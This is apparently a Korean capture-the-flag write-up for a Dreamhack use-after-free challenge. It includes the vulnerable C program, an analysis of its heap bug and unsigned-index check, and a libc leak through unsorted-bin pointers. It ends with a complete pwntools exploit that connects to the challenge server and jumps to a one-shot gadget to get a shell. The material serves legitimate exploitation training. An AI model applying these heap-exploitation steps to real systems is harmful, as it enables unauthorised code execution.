Index
문제
보호기법 확인
모든 보호 기법이 걸려있다.
uaf_overwrite.c
// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
menu();
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}
코드의 메인 함수에서 숫자를 입력하여 메뉴에 맞게 각 함수가 실행된다. 각 함수가 어떤 역할을 하는지 확인하면서 문제를 풀어보자.
코드 분석
전역 변수 선언
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
먼저 두 구조체의 자료형을 보면 동일한 메모리 크기를 사용하는 것을 알 수 있다.
UAF(Use After Free 문제인 만큼 Human→age
에 주소 값을 입력하고 해제하고 Robot 구조체로 재 할당하면, 재 할당 받은 Robot→fptr
로 원하는 코드 흐름을 실행시킬 수 있을 것 같다. 또한, 주소를 담고 있는 custom
배열과 이를 참조하는 c_idx
가 선언된다.
각 변수들이 어디에 어떻게 사용되는지 확인하면서 문제를 차근차근 풀어보자.
human_func()
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
Human(1번) 메뉴를 선택하면 human_function
함수가 실행된다. Human
구조체 1개를 동적할당 하고, weight
와 age
를 입력받아 데이터를 저장하고 곧바로 free
시킨다.
robot_func()
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
Robot(2번) 메뉴를 선택하면 robot_function
함수가 실행된다. Robot
구조체 1개를 동적할당 하고, weight
를 입력받아 데이터를 저장한다. fptr
에 대한 입력은 없지만, robot→fptr
의 값이 NULL이 아니라면 fptr
의 주소로 점프한다.
위의 두개의 함수를 통해 Human→age
에 원하는 주소를 입력해두고, robot_func()
을 실행하면 robot→fptr
에 앞서 저장해준 Human→age
값으로 robot→fptr()
이 실행된다. 그렇다면 Human→age
에 원샷 가젯의 주소를 넣으면 셸을 얻을 수 있을 것이다. 하지만 우리는 libc를 모르기 때문에, 메모리 릭을 통해 libc를 먼저 구해야 한다.
custom_func()
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
마지막으로 Custom(3번) 메뉴를 선택하면 custom_func
함수가 실행된다. 먼저 첫 if문의 c_idx
는 앞서 선언했던 전역변수이다. 이 함수가 실행될 때마다 마지막에 c_idx++
를 해주므로, 총 10번을 실행할 수 있다.
입력받은 size
가 0x100보다 크다면 custom[c_idx]
에 size
만큼의 동적할당을 해주고, 데이터를 입력받는다.
char *custom[10];
printf("Data: %s\n", custom[c_idx]);
데이터를 입력받은 후, custom[c_idx]
에 값을 출력해준다. 이 Data 부분에는 Unsorted bin을 free 했을 때 남아있던 fd 값이 출력된다. unsorted bin에 들어간 청크의 fd
와 bk
은 main arena
의 주소이고, 이 오프셋을 통해서 libc
를 구할 수 있다.
이후 idx
를 입력받아 if조건문이 참이라면 곧바로 free를 해준다. if 구문을 자세히 확인해보자.
unsigned int idx;
...
if (idx < 10 && custom[idx]){
free(custom[idx]);
custom[idx] = NULL;
}
...
idx
가 unsigned int자료형으로 선언되었다. 만약 idx
에 -1(음수)를 입력하게 되면 0xffffffff
와 같은 형식으로 메모리에 입력된다. 그러면 할당된 메모리를 free하지 않는다.
문제 풀이
Libc Leak
앞서 말한 Unsorted bin을 이용하여 메모리를 릭해서 main_arena 주소를 얻고 offset을 통해 libc를 구할 것이다.
1. Unsorted bin에 들어갈 크기의 Chunk 할당 (0x500)
custom_func()
함수를 사용할 것이고, 할당 이후 free를 하지 않을 것이다. 그러므로 idx
값은 음수로 세팅하여 if 조건문을 false
로 만든다.
Size는 총 0x511로 0x500만큼의 사용가능한 heap 메모리가 할당되었다.
2. Unsorted bin에 들어갈 크기(0x500)의 또 다른 Chunk 할당 후, 앞선 청크 해제
앞에서 할당된 청크를 해제하기 위해서는 custom[0]
으로 주어야 하므로, idx
값은 0으로 입력한다.
3. 첫번째에서 할당한 크기와 같은 크기(0x500)의 Chunk 할당 (free X)
청크에 데이터 입력은 1바이트만 입력을 하고, 다시 해제되지 않도록 idx는 음수값을 준다. 청크의 크기는 1번에서 할당해준 크기(0x500)을 할당하면 이전에 해제되었던 청크가 그대로 할당된다. 할당하면서 입력해준 Data
의 값은 B
이다. 오른쪽 사진이 입력이 된 메모리 사진이다. unsorted bin에 청크가 한개 들어갔으므로, 그 해제된 청크의 fd
와 bk
는 main_arena
주소를 나타낼 것이다. main_arena
는 0x7fec54406be0
이지만, fd
의 값은 0x7fce54406b42
이다. 이 값은 우리가 마지막에 입력한 B
가 1바이트 입력되었기 때문에 값이 바뀐 것이다.
main_arena
의 offset
값은 __malloc_hook+0x10
의 값이므로, 이 값을 이용하면 libcbase
주소를 얻을 수 있다. 또한 one_gadget
툴을 사용해서 원샷 가젯의 주소를 얻는다.
Local Exploit Issue
로컬에서 익스플로잇을 진행했을 때, 우분투 환경이 달라서 다른 libc
를 사용하기 때문에 원샷가젯이 안먹었다. 그래서 문제에 해당하는 offset
값을 얻을 수 없었다.
해결방법1 : 문제와 같은 환경을 맞춘 후, gdb
로 offset
구하기
청크가 해제됐을 때의 fd
와 bk
로 main_arena
주소를 확인한다.
vmmap
으로 libc
의 시작주소를 확인한다.
빼면 오프셋이 나온다.
해결방법2 : libc
에서 arena offset
을 구하기
arena offset
은 __malloc_hook
주소에서 +0x10
하면 된다.
0x3ebc30 + 0x10 = 0x3ebc40(main_arena offset)
이 값을 이용하여 leak된 주소에서 빼주면 libc base를 구할 수 있다. 이때 leak된 주소는 우리가 입력한 1byte 값이 들어갔기 때문에 arena offset
과는 값이 다르므로, 아래와 같이 연산해야 libc base 주소를 구할 수 있다.
lb = leak - arena_offset + (arena_1byte-leak_1byte)
익스플로잇
앞서 코드 분석에서 설명한대로 human_func()
함수를 통해 human→age
에 값을 넣고 free시킨 후, robot_func()
함수를 실행시켜서 robot→fptr();
가 실행되면서 원샷 가젯으로 점프하여 셸을 획득한다.
#!/usr/bin/python3
from pwn import *
context.log_level='debug'
#p = process("./uaf_overwrite")
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
e = ELF("./uaf_overwrite")
p = remote('host3.dreamhack.games', 24232)
libc = ELF('./libc-2.27.so')
#oneshot = [0xe3afe, 0xe3b01, 0xe3b04] #local
oneshot = [0x4f3d5, 0x4f432, 0x10a41c] #remote
def slog(sym, val): success(sym + ": " + hex(val))
def human(weight, age):
p.sendlineafter(b">", b"1")
p.sendlineafter(b": ", str(weight))
p.sendlineafter(b": ", str(age))
def robot(weight):
p.sendlineafter(b">", b"2")
p.sendlineafter(b": ", str(weight))
def custom(size, data, idx):
p.sendlineafter(b">", b"3")
p.sendlineafter(b": ", str(size))
p.sendafter(b": ", data)
p.sendlineafter(b": ", str(idx))
#[1] libc leak
custom(0x500, b"AAAA", -1)
custom(0x500, b"CCCC", 0)
custom(0x500, b"B", -1) #B -> 0x42
arena_offset = libc.symbols['__malloc_hook'] + 0x10
leak = u64(p.recvline()[:-1].ljust(8, b"\x00"))
arena_1byte = arena_offset & 0xff
leak_1byte = leak & 0xff
lb = leak - arena_offset + (arena_1byte-leak_1byte)
og = lb + oneshot[2]
slog("arena_offset", arena_offset)
slog("leak addr", leak)
slog("libc_base", lb)
slog("one_gadget", og)
#[2] exploit
human("1", og)
#gdb.attach(p) #local debugging
#pause()
robot("1")
p.interactive()
Uploaded by N2T